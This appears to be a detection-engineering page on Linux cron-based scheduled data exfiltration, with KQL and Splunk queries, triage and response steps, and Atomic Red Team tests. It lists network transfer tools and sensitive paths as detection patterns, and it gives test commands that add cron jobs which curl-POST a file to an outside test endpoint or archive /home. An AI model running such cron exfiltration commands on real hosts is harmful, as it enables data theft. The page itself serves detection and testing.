Scheduled Transfer — Scheduled Data Exfiltration via Linux Cron Jobs
Adversaries who compromise Linux servers, containers, or cloud instances frequently use cron — the native Linux job scheduler — to establish recurring, low-and-slow data exfiltration rather than a single large transfer. A malicious crontab entry or drop file in /etc/cron.d/ can invoke curl, wget, scp, rsync, or nc at a fixed interval to stage and transmit archived data (tar/zip of /home, /var/www, database dump directories, or cloud instance metadata) to an external destination, blending with legitimate scheduled maintenance jobs. This pattern is common on internet-facing Linux servers, self-managed databases, and container hosts, and is frequently paired with cron-based persistence mechanisms. The existing T1029 baseline detection in this platform is written entirely against Windows/Microsoft Defender for Endpoint telemetry (DeviceNetworkEvents beaconing, Task Scheduler) and does not address the Linux cron equivalent, leaving a platform gap for organizations running Linux infrastructure.
What is THREAT-Exfiltration-LinuxCronScheduledExfil Scheduled Data Exfiltration via Linux Cron Jobs?
Scheduled Data Exfiltration via Linux Cron Jobs (THREAT-Exfiltration-LinuxCronScheduledExfil) is a sub-technique of Scheduled Transfer (T1029) in the MITRE ATT&CK framework. It maps to the Exfiltration tactic — the adversary is trying to steal data.
This page provides production-ready detection logic for Scheduled Data Exfiltration via Linux Cron Jobs, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint for Linux (DeviceProcessEvents), Process: Process Creation (Linux), Scheduled Job: Scheduled Job Creation. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Exfiltration
// THREAT: Linux Cron Scheduled Exfiltration
// Requires Microsoft Defender for Endpoint on Linux (DeviceProcessEvents populated for Linux devices)
let ExfilTools = dynamic(["curl", "wget", "scp", "rsync", "nc", "ncat", "socat"]);
let ArchiveTools = dynamic(["tar", "zip", "gzip", "7z"]);
// Signal 1: crontab / cron drop-in file modification
let CrontabEdits = DeviceProcessEvents
| where Timestamp > ago(24h)
| where DeviceOS =~ "Linux"
| where FileName =~ "crontab" and ProcessCommandLine has_any ("-e", "-l", "-u")
| extend Signal = "CrontabModified"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, Signal;
// Signal 2: cron/crond spawning a network transfer tool
let CronSpawnedExfil = DeviceProcessEvents
| where Timestamp > ago(24h)
| where DeviceOS =~ "Linux"
| where InitiatingProcessFileName in~ ("cron", "crond", "anacron")
| where FileName in~ (ExfilTools)
| extend Signal = "CronSpawnedTransferTool"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, Signal;
// Signal 3: cron-spawned archive-then-transfer chain (staging pattern)
let CronStaging = DeviceProcessEvents
| where Timestamp > ago(24h)
| where DeviceOS =~ "Linux"
| where InitiatingProcessFileName in~ ("cron", "crond", "anacron")
| where FileName in~ (ArchiveTools)
| where ProcessCommandLine has_any ("/home", "/var/www", "/etc/shadow", "/var/lib/mysql", "pg_dump", "/root")
| extend Signal = "CronArchiveStaging"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, Signal;
CrontabEdits
| union CronSpawnedExfil, CronStaging
| sort by Timestamp desc Detects Linux cron-based scheduled exfiltration using Microsoft Defender for Endpoint's Linux process telemetry. Signal 1 flags crontab command invocations that add/edit/list a user's crontab. Signal 2 flags cron/crond/anacron directly spawning a network transfer utility (curl, wget, scp, rsync, nc, ncat, socat) — a pattern with no common legitimate ad-hoc use outside scheduled backup jobs. Signal 3 flags cron spawning an archive tool (tar/zip/gzip/7z) targeting sensitive paths (/home, /var/www, /etc/shadow, MySQL/Postgres data directories), the staging step that typically precedes the transfer in the same or a chained cron entry.
Data Sources
Required Tables
False Positives
- Legitimate cron-driven backup jobs (rsync/scp to a backup server, mysqldump piped to a remote host) that are already known and documented IT operations
- Configuration management tools (Ansible, Puppet, Chef) that use cron for scheduled convergence runs and may invoke curl/wget to fetch configuration
- Log shipping or monitoring agents scheduled via cron to curl a metrics endpoint
- Certificate renewal scripts (certbot/acme.sh) scheduled via cron that use curl for ACME challenge validation
Sigma rule & cross-platform mapping
The detection logic for Scheduled Data Exfiltration via Linux Cron Jobs (THREAT-Exfiltration-LinuxCronScheduledExfil) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for THREAT-Exfiltration-LinuxCronScheduledExfil
References (4)
- https://attack.mitre.org/techniques/T1029/
- https://attack.mitre.org/techniques/T1053/003/
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.003/T1053.003.md
- https://www.cisa.gov/news-events/cybersecurity-advisories (general guidance on Linux cloud worm cron persistence patterns)
Testing Methodology
Validate this detection against 2 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Add Cron Job Spawning curl to External Host
Expected signal: auditd EXECVE record for crontab with '-' (replace) argument. Subsequent auditd EXECVE record for curl spawned with comm=cron/crond as parent, invoking the httpbin.org POST.
- Test 2Cron-Triggered Archive and Stage of Home Directory
Expected signal: auditd EXECVE record for tar with comm=cron/crond as parent, arguments including '/home' as the target path.
Response Playbook
Triage
- Pull the full crontab for the affected user and root (crontab -l -u <user>; cat /etc/cron.d/*; cat /etc/crontab) — compare against a known-good baseline or configuration management source of truth to identify unauthorized entries.
- Review the exact command in the suspicious cron entry: does it reference an external IP/domain, encode data (base64), or target sensitive directories (/etc/shadow, /home, database data directories, .ssh keys)?
- Determine the interval: a cron job firing every few minutes targeting a small amount of data is consistent with low-and-slow exfiltration designed to evade volume-based network monitoring; a once-daily job is more consistent with (but not proof of) a legitimate backup.
- Check who created/modified the crontab entry and when: correlate against recent authentication events, sudo usage, or a known compromise timeline (webshell upload, SSH brute-force success, container escape).
- Check for accompanying persistence mechanisms: cron is frequently paired with a reverse shell or downloader also scheduled via cron/systemd timers — review all recently added scheduled jobs, not just the one that matched this detection.
- If the destination is an IP rather than a domain, check whether it resolves to cloud storage, a VPS provider, or a residential/anonymizing proxy range — cloud VPS destinations are common for attacker-controlled exfil endpoints.
Containment
- Remove the malicious cron entry immediately (crontab -r for the affected user's crontab, or delete the offending /etc/cron.d/ file) and restart the cron/crond service.
- Block the destination IP/domain at the network egress firewall.
- Rotate credentials for any account associated with the malicious cron entry, and review/rotate SSH keys if the host may have been used to pivot further.
- Isolate the host from the network if active, ongoing exfiltration is confirmed and the host does not serve a real-time production function that would cause unacceptable business impact — otherwise apply a targeted egress block first.
- Preserve a forensic copy of the crontab files, auditd logs, and any staged archive files before remediation.
Evidence Collection
- Crontab contents: /var/spool/cron/crontabs/<user>, /etc/crontab, /etc/cron.d/*, /etc/cron.{hourly,daily,weekly,monthly}/*
- Auditd EXECVE records for the cron/crond/anacron parent process and its children over the past 7-30 days
- Shell history for the account that created the cron entry (~/.bash_history, ~/.zsh_history) if interactively created
- Any staged archive files left in /tmp, /var/tmp, or other world-writable directories referenced by the cron command
- Network flow/firewall logs for the destination IP/domain referenced in the cron command, to quantify data volume already transferred
- systemd timer units (systemctl list-timers) as an alternate/companion persistence mechanism to cron that should also be reviewed
Escalation Criteria
- ! Cron entry confirmed to transfer data to an external, non-corporate destination on a recurring schedule
- ! Cron entry targets highly sensitive paths (/etc/shadow, SSH private keys, database credential files, customer data directories)
- ! Multiple hosts show the same or similar cron entries, indicating lateral spread or a worm-like campaign (a well-documented pattern in cloud-focused Linux intrusion sets that install cron-based exfiltration and persistence across compromised fleets)
- ! The cron entry was created via a webshell, container escape, or other confirmed initial-access vector requiring full incident response
Investigation Guide
Forensic Artifacts
- >
/var/spool/cron/crontabs/<user> — per-user crontab file with full modification timestamp (compare mtime against known change windows) - >
/etc/cron.d/*, /etc/crontab — system-wide cron drop-in files, a common location for attacker-planted entries since they run as root by default - >
auditd logs (/var/log/audit/audit.log) — EXECVE records showing cron/crond spawning child processes with full argv - >
Shell history files and .bash_history timestamps correlating to the crontab modification time - >
syslog/journalctl cron logs (CRON[<pid>]: entries) showing historical execution times of the malicious job, useful for establishing how long the exfiltration has been running
Tuning Guidance
Start by inventorying every legitimate cron-driven backup, replication, and configuration-management job across your Linux fleet — these are the primary source of false positives for Signal 2 and Signal 3. Build an allowlist keyed on the combination of source host, destination host/IP, and invoking account rather than suppressing the transfer tool itself, since curl/rsync/scp are used by both legitimate automation and attackers. For Signal 1 (crontab modification), the false-positive rate is low in environments where crontab changes are supposed to flow exclusively through configuration management (Ansible/Puppet/Chef) rather than manual crontab -e — in such environments, any interactive crontab -e invocation is itself a policy violation worth alerting on regardless of the resulting job content. Where manual cron administration is normal, focus tuning on Signal 2/3's destination and path filters instead.
Hunting Queries
30-day hunt for hosts and accounts where cron repeatedly (5+ times) spawns a network transfer tool — establishes both a baseline of expected/legitimate scheduled transfer jobs (to allowlist) and surfaces any low-and-slow exfiltration that has been running under the real-time detection's radar.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where DeviceOS =~ "Linux"
| where InitiatingProcessFileName in~ ("cron", "crond", "anacron")
| where FileName in~ ("curl", "wget", "scp", "rsync", "nc", "ncat", "socat")
| summarize Executions=count(), FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Commands=make_set(ProcessCommandLine, 20)
by DeviceName, AccountName, FileName
| where Executions >= 5
| sort by Executions desc index=linux sourcetype="linux:audit" type=EXECVE comm IN ("cron","crond","anacron")
exe IN ("*/curl","*/wget","*/scp","*/rsync","*/nc","*/ncat","*/socat")
| stats count as Executions, values(a0) as Commands by host, uid, exe
| where Executions >= 5
| sort - Executions Atomic Red Team Tests
Adds a cron entry that invokes curl against an external test endpoint, simulating a cron-based exfiltration job. Uses a benign public test endpoint; no actual data is exfiltrated.
Command
(crontab -l 2>/dev/null; echo "*/5 * * * * curl -s -X POST -d @/tmp/df00tech-test.txt https://httpbin.org/post") | crontab - Cleanup
crontab -l | grep -v 'df00tech-test.txt' | crontab - Expected Telemetry
auditd EXECVE record for crontab with '-' (replace) argument. Subsequent auditd EXECVE record for curl spawned with comm=cron/crond as parent, invoking the httpbin.org POST.
Expected Detection
KQL/SPL 'CrontabModified' fires on the crontab invocation; 'CronSpawnedTransferTool' fires on the subsequent curl execution with cron as the initiating process.
Adds a cron entry that archives the /home directory to /tmp, simulating the staging step of a cron-based exfiltration chain.
Command
(crontab -l 2>/dev/null; echo "*/10 * * * * tar -czf /tmp/df00tech-staged.tar.gz /home") | crontab - Cleanup
crontab -l | grep -v 'df00tech-staged' | crontab -; rm -f /tmp/df00tech-staged.tar.gz Expected Telemetry
auditd EXECVE record for tar with comm=cron/crond as parent, arguments including '/home' as the target path.
Expected Detection
KQL/SPL 'CronArchiveStaging' fires on the tar execution referencing the /home path with cron as initiating process.
Related Detections
Tactic Hub
Detection Variants (3)
Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.
- THREAT-ArchiveStaging-ScheduledExfilScheduled Batch Exfiltration of Compressed Archive StagingUse for archive staging — rar/7z multi-volume splitting ahead of a timed transfer, typical of ransomware double-extortion.
- THREAT-CloudCLI-ScheduledExfilScheduled Transfer via Cloud Sync/Backup CLI ToolsUse for cloud CLI LOLBins — rclone, restic or azcopy launched by a scheduler rather than a human.
- THREAT-Exfil-ScheduledBulkTransferScheduled Off-Hours Bulk Data TransferUse for network-side detection — off-hours bulk-volume NetFlow, when you have no endpoint scheduler visibility.